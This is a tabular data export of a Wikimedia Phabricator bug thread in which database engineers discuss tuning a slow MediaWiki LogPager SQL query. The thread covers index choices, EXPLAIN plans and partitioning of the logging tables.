666,2.6666666666666665,0.0,0.3333333333333333,6.333333333333333,10.666666666666666,0.0,3.3333333333333335,0.0,0.3333333333333333,0.0,1.0,1.6666666666666667,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,3.9170781893004114,0.6075617283950617,"Have seen multiple instances of this one backing up on commonswiki slaves recently:

SELECT /* IndexPager::buildQueryInfo (LogPager) 148.160.132.46 */  log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags  FROM CODE FORCE INDEX (times) LEFT JOIN CODE ON ((log_user=user_id)) LEFT JOIN CODE ON ((ts_log_id=log_id))  WHERE (log_action != 'revision') AND (log_type != 'suppress') AND log_type IN ('delete','move')  AND log_namespace = '0' AND log_title = '0' AND ((log_deleted & 1) = 0)  ORDER BY log_timestamp DESC LIMIT 11

It runs in excess of 10 minutes.

EXPLAIN says the FORCE INDEX sends MySQL onto a very slow index scan over CODE (log_timestamp) which is hardly better than a table scan in this case.

Removing the FORCE allows CODE index be used which reduces execution time to a few seconds.

Suggest either filtering by a range on log_timestamp or removing the FORCE.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
URL"
251660,IndexPager::buildQueryInfo (LogPager) query needs tuning,"With partitioned slaves LogPager queries are still not super fast, but they average <10s now and no longer dominate the slow query log.

Closing this.",,,1396153047,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.233333333333333,0.9666666666666667,"With partitioned slaves LogPager queries are still not super fast, but they average <10s now and no longer dominate the slow query log.

Closing this."
251653,IndexPager::buildQueryInfo (LogPager) query needs tuning,"16 looks reasonable, I just wouldn't want something crazy like 256 ;)",,,1389312673,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"16 looks reasonable, I just wouldn't want something crazy like 256 ;)"
251647,IndexPager::buildQueryInfo (LogPager) query needs tuning,"16 partitions, a number chosen after some rough back-of-napkin style calculations for the larger wikis.

The effect of accessing multiple partitions is closest to UNION. I don't anticipate excessive sorting or limiting penalties for our other queries though I do want to see how range access and index scans perform.

Monitoring for queries adversely affected is definitely necessary and one of the reasons for only partitioning one slave per shard.",,,1389312419,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,2.0,6.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,2.0,6.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,15.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,0.0,4.658536585365853,0.7682926829268293,"16 partitions, a number chosen after some rough back-of-napkin style calculations for the larger wikis.

The effect of accessing multiple partitions is closest to UNION. I don't anticipate excessive sorting or limiting penalties for our other queries though I do want to see how range access and index scans perform.

Monitoring for queries adversely affected is definitely necessary and one of the reasons for only partitioning one slave per shard."
251640,IndexPager::buildQueryInfo (LogPager) query needs tuning,How many partitions per table? So the Special:Log (no filter) case will have to UNION/resort/limit queries from each partition?,,,1389305283,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.9310344827586207,How many partitions per table? So the Special:Log (no filter) case will have to UNION/resort/limit queries from each partition?
251632,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Much better than it was.

I'm now trialing partitioned logging tables on one slave per production shard and directing these queries to those boxes. Since most of the queries use log_user = N, partitioning on key(log_user) allows the optimizer to use partition pruning.

Still have to track down and sort out the ones without log_user = N. They're infrequent and low priority.",,,1389304624,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,4.0,18.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,18.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,4.388888888888889,0.7916666666666666,"Much better than it was.

I'm now trialing partitioned logging tables on one slave per production shard and directing these queries to those boxes. Since most of the queries use log_user = N, partitioning on key(log_user) allows the optimizer to use partition pruning.

Still have to track down and sort out the ones without log_user = N. They're infrequent and low priority."
251625,IndexPager::buildQueryInfo (LogPager) query needs tuning,Resetting status as per comment 9. Sean: Is this still high prio?,,,1389268532,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6,1.0,Resetting status as per comment 9. Sean: Is this still high prio?
251618,IndexPager::buildQueryInfo (LogPager) query needs tuning,"You're right, most of the slow queries we've seen in spikes do filter by log_user. But there are others that don't that also run slow.

Ishmael, S3, db1003:

/* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from `logging` left join `user` on ((log_user=user_id)) left join `tag_summary` on ((ts_log_id=log_id)) where (log_type not in(?+)) and (log_type != ?) order by log_timestamp desc limit ?

I went to S3 because that's where I saw the query form previously (zhwiktionary at the time). A quick check on S2 slaves doesn't show the same query running slow there, though there are other versions:

* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from `logging` left join `user` on ((log_user=user_id)) left join `tag_summary` on ((ts_log_id=log_id)) where (log_type != ?) and log_type = ? and log_namespace = ? and log_title = ? and ((log_deleted & ?) != ?) order by log_timestamp desc limit ?

It's possible we'll trawl some of these up with the existing patch. Just something to keep in mind.",,,1384674453,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,3.6666666666666665,7.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,13.666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,6.333333333333333,1.6666666666666667,2.3333333333333335,3.0,0.0,0.0,1.0,0.0,3.0,0.3333333333333333,0.0,0.0,2.0,7.333333333333333,12.333333333333334,3.3333333333333335,0.0,0.0,2.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,4.002745367192862,0.6214062380843437,"You're right, most of the slow queries we've seen in spikes do filter by log_user. But there are others that don't that also run slow.

Ishmael, S3, db1003:

/* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from CODE left join CODE on ((log_user=user_id)) left join CODE on ((ts_log_id=log_id)) where (log_type not in(?+)) and (log_type != ?) order by log_timestamp desc limit ?

I went to S3 because that's where I saw the query form previously (zhwiktionary at the time). A quick check on S2 slaves doesn't show the same query running slow there, though there are other versions:

* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from CODE left join CODE on ((log_user=user_id)) left join CODE on ((ts_log_id=log_id)) where (log_type != ?) and log_type = ? and log_namespace = ? and log_title = ? and ((log_deleted & ?) != ?) order by log_timestamp desc limit ?

It's possible we'll trawl some of these up with the existing patch. Just something to keep in mind."
251613,IndexPager::buildQueryInfo (LogPager) query needs tuning,Which slow queries are *not* filtering on user ID? I thought that is where the slow queries still mostly happen.,,,1384673187,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,3.875,0.875,Which slow queries are *not* filtering on user ID? I thought that is where the slow queries still mostly happen.
251607,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Change 95584 merged by Springle:
Changed use of tag_summary to use change_tag with GROUP_CONCAT()

https://gerrit.wikimedia.org/r/95584",,,1384671061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,25.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.85,0.95,"Change 95584 merged by Springle:
Changed use of tag_summary to use change_tag with GROUP_CONCAT()

GERRIT_URL"
251601,IndexPager::buildQueryInfo (LogPager) query needs tuning,"True, ct_log_id cardinality still isn't brilliant, but it's better than ts_log_id.  The index is one that fluctuates cardinality estimates quite a bit between slaves, requiring periodic ANALYZE.  Eg, today the enwiki slaves manage to report ct_log_id cardinality values between 21 and 290251 :-| 

Also, ct_log_id index covers (ct_log_id,ct_tag) which is useful.

I've been trying different values for innodb_stats_sample_pages (=16 and =32) on several slaves to see if cardinality for a number of flakky indexes can be stabilized without the need for regular analysis (because of http://bugs.mysql.com/bug.php?id=33278). 

After our chat on IRC on Friday I applied the change_tag/subquery version to other examples of slow LogPager logged on various wikis. It is generally better overall but can still be susceptible to hitting too much cold data.

I'd still really like to see consideration on:

- Making log_user=N clause enforced. The examples of the query that don't filter by user id hit the most rows.

- If log_user=N isn't to be used then limit exposure to the last N months of data or something or change the way it's viewed entirely.

- Consideration of your suggestion to break up tag_summary into three tables, which seems like a good plan given we already denormalize for tag_summary.",,,1384670134,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,6.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,2.0,0.0,5.333333333333333,12.333333333333334,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.0,1.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,13.666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,3.0,7.333333333333333,1.0,2.6666666666666665,5.333333333333333,0.0,0.0,0.0,0.0,4.0,0.0,3.3333333333333335,0.0,3.3333333333333335,12.333333333333334,5.666666666666667,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,1.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,4.2771084337349405,0.7590361445783133,"True, ct_log_id cardinality still isn't brilliant, but it's better than ts_log_id.  The index is one that fluctuates cardinality estimates quite a bit between slaves, requiring periodic ANALYZE.  Eg, today the enwiki slaves manage to report ct_log_id cardinality values between 21 and 290251 :-| 

Also, ct_log_id index covers (ct_log_id,ct_tag) which is useful.

I've been trying different values for innodb_stats_sample_pages (=16 and =32) on several slaves to see if cardinality for a number of flakky indexes can be stabilized without the need for regular analysis (because of URL 

After our chat on IRC on Friday I applied the change_tag/subquery version to other examples of slow LogPager logged on various wikis. It is generally better overall but can still be susceptible to hitting too much cold data.

I'd still really like to see consideration on:

- Making log_user=N clause enforced. The examples of the query that don't filter by user id hit the most rows.

- If log_user=N isn't to be used then limit exposure to the last N months of data or something or change the way it's viewed entirely.

- Consideration of your suggestion to break up tag_summary into three tables, which seems like a good plan given we already denormalize for tag_summary."
251595,IndexPager::buildQueryInfo (LogPager) query needs tuning,Though actually doesn't change_tag also have similar poor cardinality problems for the log_id index?,,,1384640491,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4375,1.0,Though actually doesn't change_tag also have similar poor cardinality problems for the log_id index?
251588,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Change 95584 had a related patch set uploaded by Aaron Schulz:
Changed use of tag_summary to use change_tag with GROUP_CONCAT()

https://gerrit.wikimedia.org/r/95584",,,1384500369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.653846153846154,0.9615384615384616,"Change 95584 had a related patch set uploaded by Aaron Schulz:
Changed use of tag_summary to use change_tag with GROUP_CONCAT()

GERRIT_URL"
251582,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Possibilities after talking with Aaron on IRC, assuming group_concat can be sorted in MW code for pg...

Using change_tag instead of tag_summary avoids the poor cardinality of ts_log_id and allows better query plans on `logging` indexes:

v1

enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,group_concat(distinct ct_tag separator ' ') as ts_tags FROM `logging`  LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN change_tag ON (ct_log_id=log_id) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) GROUP BY log_id ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: logging
         type: index
possible_keys: type_time,user_time,log_user_type_time
          key: times
      key_len: 16
          ref: NULL
         rows: 2583
        Extra: Using where; Using temporary
*************************** 2. row ***************************
           id: 1
  select_type: SIMPLE
        table: user
         type: const
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: const
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 1
  select_type: SIMPLE
        table: change_tag
         type: ref
possible_keys: ct_log_id,change_tag_log_tag
          key: ct_log_id
      key_len: 5
          ref: enwiki.logging.log_id
         rows: 35
        Extra: Using where; Using index
3 rows in set (0.31 sec)

pt-visual-explain

JOIN
+- Filter with WHERE
|  +- Index lookup
|     key            change_tag->ct_log_id
|     possible_keys  ct_log_id,change_tag_log_tag
|     key_len        5
|     ref            enwiki.logging.log_id
|     rows           35
+- JOIN
   +- Bookmark lookup
   |  +- Table
   |  |  table          user
   |  |  possible_keys  PRIMARY
   |  +- Constant index lookup
   |     key            user->PRIMARY
   |     possible_keys  PRIMARY
   |     key_len        4
   |     ref            const
   |     rows           1
   +- Table scan
      +- TEMPORARY
         table          temporary(logging)
         +- Filter with WHERE
            +- Bookmark lookup
               +- Table
               |  table          logging
               |  possible_keys  type_time,user_time,log_user_type_time
               +- Index scan
                  key            logging->times
                  possible_keys  type_time,user_time,log_user_type_time
                  key_len        16
                  rows           2583

v2

enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,(select group_concat(distinct ct_tag separator ' ') from change_tag where ct_log_id = log_id) as ts_tags FROM `logging`  LEFT JOIN `user` ON ((log_user=user_id)) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: PRIMARY
        table: logging
         type: range
possible_keys: type_time,user_time,log_user_type_time
          key: log_user_type_time
      key_len: 38
          ref: NULL
         rows: 18675
        Extra: Using index condition; Using where; Using filesort
*************************** 2. row ***************************
           id: 1
  select_type: PRIMARY
        table: user
         type: const
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: const
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 2
  select_type: DEPENDENT SUBQUERY
        table: change_tag
         type: ref
possible_keys: ct_log_id,change_tag_log_tag
          key: ct_log_id
      key_len: 5
          ref: enwiki.logging.log_id
         rows: 35
        Extra: Using where; Using index
3 rows in set (0.32 sec)

pt-visual-explain

DEPENDENT SUBQUERY
+- Filter with WHERE
|  +- Index lookup
|     key            change_tag->ct_log_id
|     possible_keys  ct_log_id,change_tag_log_tag
|     key_len        5
|     ref            enwiki.logging.log_id
|     rows           35
+- JOIN
   +- Bookmark lookup
   |  +- Table
   |  |  table          user
   |  |  possible_keys  PRIMARY
   |  +- Constant index lookup
   |     key            user->PRIMARY
   |     possible_keys  PRIMARY
   |     key_len        4
   |     ref            const
   |     rows           1
   +- Filesort
      +- Filter with WHERE
         +- Index range scan
            key            logging->log_user_type_time
            possible_keys  type_time,user_time,log_user_type_time
            key_len        38
            rows           18675


v2 appears slightly better.",,,1384474133,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.07692307692307693,0.15384615384615385,3.230769230769231,0.0,0.0,0.0,0.0,0.6153846153846154,0.6153846153846154,0.0,0.07692307692307693,0.0,0.46153846153846156,0.0,1.3076923076923077,2.1538461538461537,0.0,0.0,0.0,0.0,0.0,0.46153846153846156,0.0,0.0,0.0,0.07692307692307693,0.0,0.0,1.4615384615384615,0.07692307692307693,0.0,0.3076923076923077,0.0,0.07692307692307693,0.0,0.5384615384615384,0.23076923076923078,0.0,0.0,0.0,0.46153846153846156,0.0,0.0,0.0,0.0,0.0,15.461538461538462,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3076923076923077,0.3076923076923077,0.0,0.0,0.0,0.0,0.07692307692307693,0.0,0.0,0.07692307692307693,0.07692307692307693,7.923076923076923,0.8461538461538461,0.5384615384615384,0.07692307692307693,0.0,0.0,0.0,0.0,0.23076923076923078,0.3076923076923077,3.4615384615384617,0.0,0.0,2.1538461538461537,9.923076923076923,0.15384615384615385,0.6153846153846154,0.0,0.0,0.0,0.8461538461538461,0.0,0.0,1.1538461538461537,0.15384615384615385,0.0,0.46153846153846156,3.77911964854854,0.45061590145576713,"Possibilities after talking with Aaron on IRC, assuming group_concat can be sorted in MW code for pg...

Using change_tag instead of tag_summary avoids the poor cardinality of ts_log_id and allows better query plans on CODE indexes:

v1

enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,group_concat(distinct ct_tag separator ' ') as ts_tags FROM CODE  LEFT JOIN CODE ON ((log_user=user_id)) LEFT JOIN change_tag ON (ct_log_id=log_id) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) GROUP BY log_id ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: logging
         type: index
possible_keys: type_time,user_time,log_user_type_time
          key: times
      key_len: 16
          ref: NULL
         rows: 2583
        Extra: Using where; Using temporary
*************************** 2. row ***************************
           id: 1
  select_type: SIMPLE
        table: user
         type: const
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: const
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 1
  select_type: SIMPLE
        table: change_tag
         type: ref
possible_keys: ct_log_id,change_tag_log_tag
          key: ct_log_id
      key_len: 5
          ref: enwiki.logging.log_id
         rows: 35
        Extra: Using where; Using index
3 rows in set (0.31 sec)

pt-visual-explain

JOIN
+- Filter with WHERE
|  +- Index lookup
|     key            change_tag->ct_log_id
|     possible_keys  ct_log_id,change_tag_log_tag
|     key_len        5
|     ref            enwiki.logging.log_id
|     rows           35
+- JOIN
   +- Bookmark lookup
   |  +- Table
   |  |  table          user
   |  |  possible_keys  PRIMARY
   |  +- Constant index lookup
   |     key            user->PRIMARY
   |     possible_keys  PRIMARY
   |     key_len        4
   |     ref            const
   |     rows           1
   +- Table scan
      +- TEMPORARY
         table          temporary(logging)
         +- Filter with WHERE
            +- Bookmark lookup
               +- Table
               |  table          logging
               |  possible_keys  type_time,user_time,log_user_type_time
               +- Index scan
                  key            logging->times
                  possible_keys  type_time,user_time,log_user_type_time
                  key_len        16
                  rows           2583

v2

enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,(select group_concat(distinct ct_tag separator ' ') from change_tag where ct_log_id = log_id) as ts_tags FROM CODE  LEFT JOIN CODE ON ((log_user=user_id)) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: PRIMARY
        table: logging
         type: range
possible_keys: type_time,user_time,log_user_type_time
          key: log_user_type_time
      key_len: 38
          ref: NULL
         rows: 18675
        Extra: Using index condition; Using where; Using filesort
*************************** 2. row ***************************
           id: 1
  select_type: PRIMARY
        table: user
         type: const
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: const
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 2
  select_type: DEPENDENT SUBQUERY
        table: change_tag
         type: ref
possible_keys: ct_log_id,change_tag_log_tag
          key: ct_log_id
      key_len: 5
          ref: enwiki.logging.log_id
         rows: 35
        Extra: Using where; Using index
3 rows in set (0.32 sec)

pt-visual-explain

DEPENDENT SUBQUERY
+- Filter with WHERE
|  +- Index lookup
|     key            change_tag->ct_log_id
|     possible_keys  ct_log_id,change_tag_log_tag
|     key_len        5
|     ref            enwiki.logging.log_id
|     rows           35
+- JOIN
   +- Bookmark lookup
   |  +- Table
   |  |  table          user
   |  |  possible_keys  PRIMARY
   |  +- Constant index lookup
   |     key            user->PRIMARY
   |     possible_keys  PRIMARY
   |     key_len        4
   |     ref            const
   |     rows           1
   +- Filesort
      +- Filter with WHERE
         +- Index range scan
            key            logging->log_user_type_time
            possible_keys  type_time,user_time,log_user_type_time
            key_len        38
            rows           18675


v2 appears slightly better."
